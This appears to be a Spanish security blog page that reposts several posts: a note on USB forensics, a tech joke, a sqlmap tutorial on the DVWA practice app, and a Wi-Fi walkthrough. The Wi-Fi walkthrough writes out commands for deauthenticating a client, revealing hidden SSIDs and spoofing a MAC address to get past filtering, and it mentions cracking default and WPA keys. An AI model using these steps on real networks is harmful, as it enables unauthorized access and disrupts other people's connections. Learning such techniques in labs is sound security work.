Vulnerabilidades:
CRÉDITOS:
Autor: Join7
Website: http://zentrixplus.net/
Fuente: http://www.sniferl4bs.com/2014/06/encontrando-0-days-en-aplicaciones-webs.html
Análisis forense a dispositivos USB
Publicado por
Unknown
en
21:18
sábado, 29 de noviembre de 2014
Etiquetas:
Forense,
usb
0
comentarios
Buenas.
Revisando las diapositivas de las presentaciones del SANS DFIR Summit 2014, encontré uno muy bueno relacionado con el análisis forense de dispositivos USB, en este caso usando las nuevas clases de almacenamiento USB como por ejemplo la MTP que usa samsung en su gama media/alta, para ver a manera general su comportamiento podemos observar las siguientes imágenes:
El estudio completo lo pueden obtener en el link de la fuente donde ha desarrollado varios post bien explicados sobre las distintas formas de realizar el estudio forense y la diapositiva del link que dejo a continuación
Se puede descargar del siguiente link -> USB Devices Media Transfer Protocol.
Fuente: http://nicoleibrahim.com/part-2-usb-device-research-msc-vs-ptp-vs-mtp/
Revisando las diapositivas de las presentaciones del SANS DFIR Summit 2014, encontré uno muy bueno relacionado con el análisis forense de dispositivos USB, en este caso usando las nuevas clases de almacenamiento USB como por ejemplo la MTP que usa samsung en su gama media/alta, para ver a manera general su comportamiento podemos observar las siguientes imágenes:
El estudio completo lo pueden obtener en el link de la fuente donde ha desarrollado varios post bien explicados sobre las distintas formas de realizar el estudio forense y la diapositiva del link que dejo a continuación
Se puede descargar del siguiente link -> USB Devices Media Transfer Protocol.
Fuente: http://nicoleibrahim.com/part-2-usb-device-research-msc-vs-ptp-vs-mtp/
Cómo reparar un Mac, un Linux y un Windows (humor)
Nos ha llegado por correo electrónico,
y cuya fuente original es The Oat Meal, esta divertida historia sobre
cuáles son los pasos para reparar un Windows, un Linux y un Mac. Como
están en inglés, hemos hecho una rápida traducción al Español que
esperamos que os haga tanta gracia como a nosotros, en este sábado
festivo.
PASO 1: Llévalo a la Apple Store
¿Eso lo arregló?
¿No? Procede con el paso 2
PASO 2: Cómprate un nuevo Mac
Deja tu cuenta sin dinero.
Llora en silencio
¿Eso lo arregló?
¿No? Procede con el paso 2
PASO 2:
Formatea el disco duro.
Reinstala Windows.
Pierde todos tus archivos.
Llora en silencio.
PASO 1:
Aprende
a programar en C++. Recompila el kernel. Construye tu propio
microprocesador a partir de restos de siliceo que haya a tu alrededor.
Recompila el kernel otra vez. Cambia de distribuciones. Recompila el
kernel otra vez, pero esta vez usando una CPU alimentada con luz
refractada de Saturno. Déjate crecer una barba gigante. Blasfea contra
Sun Microsystems. Convierte tu cama en un armario de servidores y pasa
10 años adormilado por el sonido de ventiladores chirriantes. Escribe
una expresión regular que haría a otros programadores llorar sangre.
Aprende a programar en Java. Recompila el kernel otra vez (pero esta vez
con tus calcetines de la suerte puestos).
¿Eso lo arregló?
¿No? Procede con el paso 2
PASO 2
Da marcha atrás y vuelve a usar Windows o Mac
Llora en silencio
Fuente: http://www.estacion-informatica.com/2011/04/humor-como-reparar-un-mac-un-linux-y-un.html
Sqlmap con DVWA (Aprende en entornos controlados)
El escenario de pruebas
Para probar la herramienta he elegido el entorno de pruebas DVWA (Damn Vulnerable Web Application).
La instalación del entorno es bastante sencilla y consiste en descargar
el ZIP desde su página Web y requerirá que tengamos PHP y MySQL. Tenéis
en este enlace un tutorial con el paso a paso de su instalación.
Esta aplicación Web permite seleccionar el nivel de dificultad al que nos queremos enfrentar desde su apartado DVWA Security,
de este modo podemos ajustar el retor a un mayor o menor nivel y así ir
afinando nuestras habilidades. En nuestro caso la definiremos en nivel
medio para las pruebas que queremos realizar con sqlmap:
Reuniendo información antes de ejecutar la prueba
Una vez configurada la aplicación DVWA, veremos que para acceder es
necesario rellenar un formulario, los credenciales de acceso son usuario
admin y contraseña password:
Si utilizamos un componente como Web Developer Tools en Mozilla podremos
ver las cookies que nos ha establecido el servidor Web al iniciar
sesión:
Una vez dentro nos dirigiremos a la sección de SQL Injection y a nada
que realicemos alguna prueba veremos que este nivel es fácilmente
explotable:
Utilizando la técnica de identificación de columnas basada en ORDER BY
veremos que la consulta que se está realizando internamente espera 2
columnas:
Ya con el conocimiento del número de columnas podemos intentar la
explotación basada en UNION para obtener información por ejemplo del
usuario que ejecuta las consultas y la base de datos a la que se
conecta:
Continuando la explotación con sqlmap
Llegados a este punto hemos reunido la siguiente información:
- Tenemos un motor de base de datos MySQL
- Estamos almacenando las cookies
- PHPSESSID (gestiona la sesión que tenemos iniciada)
- security (gestiona el nivel de seguridad configurado en la aplicación)
- El parámetro id es vulnerable a SQL Injection y se puede explotar utilizando la técnica UNION query
- La base de datos a la que se conecta la aplicación se llama dvwa
- El usuario que realiza las consultas SQL es root@localhost
Con toda esta información podemos afinar la explotación utilizando sqlmap y obtener de forma muy rápida el listado de tablas:
Los detalles de este comando son los siguientes:
- --cookie permite establecer los parámetros y valores que queremos enviar en la cabecera HTTP Cookie
- -p permite indicar el parámetro sobre el que se quiere testear la inyección
- --dbms permite establecer el motor de base de datos para evitar pruebas sobre otros motores
- --technique permite indicar la técnica de explotación: Boolean-based, Error-based, Union, Stacked querys, Time-based. Tenéis más información en su página de man.
- -D indica la base de datos que queremos analizar
- --tables para enumerar las tablas
Nota: Como ya conoceréis la potencia de sqlmap imaginaréis
que toda esta información que hemos obtenido de forma manual se podría
haber conseguido directamente con la herramienta, sin embargo es
importante que seamos cuidadosos y en todo momento controlemos las
técnicas que empleamos ya que podríamos dejar la aplicación analizada en
un estado inconsistente.
El resultado del comando anterior nos devolverá una enumeración de las tablas:
De modo que continuando con el ejercicio, podríamos realizar un dump de la tabla users utilizando el siguiente comando:
Y en este punto también veremos algo interesante de la herramienta, ya
que detectará los hashes de las contraseñas que hay en la tabla y nos
ofrecerá realizar un ataque basado en diccionario para romperlos:
Dándonos en este caso un resultado perfecto:
Otras pruebas más allá del escenario DVWA
La siguiente prueba de concepto la realizaré sobre una aplicación Web
hecha a medida ya que DVWA no es vulnerable a la explotación que voy a
mostrar sin embargo algún escenario al que nos enfrentemos sí podría
serlo.
Una vez hayamos detectado un parámetro vulnerable a SQL injection y si
los permisos del motor de base de datos y el sistema de ficheros no
están bien configurados podríamos incluso llegar a conseguir una shell
con el siguiente comando:
Nos solicitará algo de información adicional con el fin de crear la sentencia SQL que nos devolverá una shell:
Seguir este proceso nos devolverá la shell:
Y por ir finalizando la cantidad de posibilidades que nos ofrece la
herramienta, no olvidemos que podemos integrarla con nuestra instalación
de Tor utilizando el siguiente comando:
Fuente: http://www.estacion-informatica.com/2014/04/profundizando-en-sqlmap.html
Evadiendo Filtros de Mac y descubriendo SSID ocultos
En este caso veremos como descubrir redes ocultas que esta técnica se
usa para asegurar un poco mas nuestra red inalambrica, mediante el SSID
oculto hacemos que nuestro accespoint no envié su nombre por lo cual
pasara oculto a los dispositivos que busquen conectarse a una red, pero
en este caso veremos como esta medida no es del 100% segura ya que no es
nada difícil descubrir estos puntos de acceso ocultos..
Y el otro caso es del filtrador por Mac, esta opción ya viene en
la mayoría de los acces point esta opción nos sirve para nosotros poder
especificar a que usuarios queremos dejar que se conecten a través de la
red inalambrica, mediante una lista de las direcciones MAC de los
equipos podemos permitir o denegar el servicio a nuestra red
inalambrica.
Empecemos, el primer caso que son las redes ocultas que es cuando el
acces point no envía ese identificador (SSID) que nosotros lo vemos como
el nombre de la Red (infinitum, Axtel, Jaztel, Oficina) etc.
Pero aun que el Acces Point no envie ese identificador, el sige enviando
paquetes de Broadcast(Beacon Frames) a que me refiero a que el Acces
Point no te dira su nombre, pero si te esta diciendo Aqui estoy.. Aqui
Estoy.. Utilizaremos nuestra tarjeta de red inalambrica y un Sniffer que
en mi caso use Wireshark.
Lo primero que haremos es ver nuestras interfaces Inalambricas que tengamos instalados en nuestra computadora.
Bueno en mi caso usare mi tarjeta de Red inalambrica que tiene la Interfaz Wlan2.
Lo siguiente que haremos sera convertir nuestra tarjeta de red
inalambrica en un escucha de todos los paquetes que viajan en el aire, a
lo que conocemos poner nuestra tarjeta en Modo Monitor.
Ustedes usen el comando con el nombre que tenga su interfaz de red inalambrica.
Si les da algun error lo mas seguro es que sea por permisos asi que usen el comando sudo su para elevar sus privilegios y estar como super usuario.
Esto hara que se nos habilite una interfaz en modo
monitor que en mi caso es la mon0
Ahora ya teniendo nuestra tarjeta de Red en Modo monitor procederemos a
abrir nuestro Sniffer, que en mi caso usare el Wireshark.
Hacemos click en Interface List y damos click en start en nuestra interfaz que esta en modo Monitor, en mi caso es mon0
Y comenzara a mostrarnos todo el trafico de los paquetes que van viajando en el aire.
Al analizar los Beacon Frames veremos que la mayoría traen el nombre de la red, pero unos vienen como SSID=Broadcast
que son los que buscamos, los que vienen sin el identificador, en otros
casos pueden aparecer caracteres extraños en seguida de SSID=.
Analizaremos lo que trae dentro este paquete y encontraremos la Mac Addres del Acces Point, en este caso es un equipo Huaweii
Ahora sabemos que la Mac Addres es 5c:4c:a9:57:f0:e4 y si seguimos analizando este paquete veremos que tambien nos muestra el Canal por donde se esta transmitiendo.
Ya tenemos la Mac Addres del acces point y sabemos que transmite
a través del canal 5. ahora con esta informacion podemos usar una
herramienta que viene incluida en la suite de aircrack que es el
Airodump
Usare el comando
airodump-ng --channel 5 --bssid 5c:4c:a9:57:f0:e4 mon0
donde especifico el canal y el bssid del Acces point.
Como pueden ver en el ESSD donde normalmente aparecen el nombre de las
redes, aparece Length: 0 que quiere decir que esta oculto el SSID.
Para poder descubrir cual es el SSID de esta red hay dos formas, pasiva o activa
La pasiva es esperar a que un cliente se asocie a la red mientras que nosotros monitoreamos el trafico de esta asociación.
Usare un filtro en el Wireshark para que solo nos muestre el trafico que hay en ese Acces Point.
Podemos ver los paquetes de Subtipo Probe Response que contienen la informacion que buscamos. Con esto ya sabremos el SSID de la red que en este caso es INFINITUM9a8b
El problema de usar este método es que si tenemos algo de prisa
o ningún cliente se conecta en ese momento no obtendríamos el nombre de
la red tan fácil.
Para estos casos que tengamos donde no queramos esperar a que alguien se
conecte usaremos el método Activo.
Este método forzaremos a que se envíen paquetes de Probe y Association
para poder capturar el SSID de la red, para poder capturar estos
paquetes nos tendremos que dar a la tarea de interrumpir a un cliente
para que su tarjeta de red se vea forzada a hacer una re-asociacion con
el acces point.
En este caso buscaremos los clientes conectados al accespoint para poder
hacer el uso de paquetes DeAuth que es un subtipo de paquetes de
Administracion y nos permitira interrumpir la conexion entre el cliente y
accespoint.
Usaremos el comando airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0
En la parte inferior podremos ver los clientes asociados al acces point
que tiene el SSID oculto, podemos ver donde dice STATION esta la MAC
addres de este cliente que usaremos como victima para realizar
la interrupción y forzarlo a la re-asociación con el Acces Point.
Usaremos el comando
aireplay-ng --deauth 0 -a 5C:4C:A9:57:F0:E4 -c 00:87:12:23:16:CD mon0
donde -a especificamos el Acces point y el -C especificaremos la mac
addres del cliente a la cual le enviaremos los paquetes de
desautenticacion.
Al hacer este proceso es importante que tengamos nuestro Sniffer
corriendo en la interfaz que esta en modo monitor, ya que al Desasociar
al cliente del accespoint, el cliente volvera a negociar otra
asociacion con paquetes de Probe Response y de Reassociation Request.
Aqui podremos ver el trafico de esos paquetes DeAuth y como se realizo
la reconexion del parte del cliente. En esta reasociacion veremos el
nombre del SSID del acces point oculto.
Bueno con esto ya hemos aprendido a descubrir las redes ocultas que como
ven no es una medida muy segura para nuestros AP.
Con esta informacion podemos auditar la red la cual en este caso podemos
usar un Decrypter como el Mac2wepkey esto porque ya se ha descubierto
el algoritmo para la generacion de Password por default de estos equipos
Huaweii.. en caso de que hallan cambiado las credenciales, pues podemos
proceder a auditarla que si es una WEP no nos tardaremos mas de 5
minutos en hacerlo.
Y si esta un poco mas segura encontraremos un wpa2, pero pues con tiempo
todo es posible, asi que a capturar handshake y a correrle tu mejor
diccionario.
Suponiendo que hemos encontrado el password del Acces point, pero al
querer accesar no nos permite asociarnos, es porque muy seguramente use
Filtrador por Mac Addres.
Estos es sencillo de burlar siempre y cuando halla clientes conectados a ese accespoint.
Usaremos el comando
airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0
Vemos que hay un cliente asociado a 5C:4C:A9:57:F0:E4 el cual es el
Acces Point que queremos asociarnos, entonces lo que haremos sera
spoofear nuestra Mac Addres por la del cliente, en este caso
00:4F:72:69:6F:6E
Usaremos el comando
macchanger -m 00:4F:72:69:6F:6E wlan2
Si tienen errores recuerden detener todas las interfaces en modo monitor que tenian usado el comando airmon-ng stop mon0
Ya con esto tendremos acceso a la red.
Fuente: http://www.estacion-informatica.com/2013/04/evadiendo-filtros-de-mac-y-descubriendo.html
Suscribirse a:
Entradas (Atom)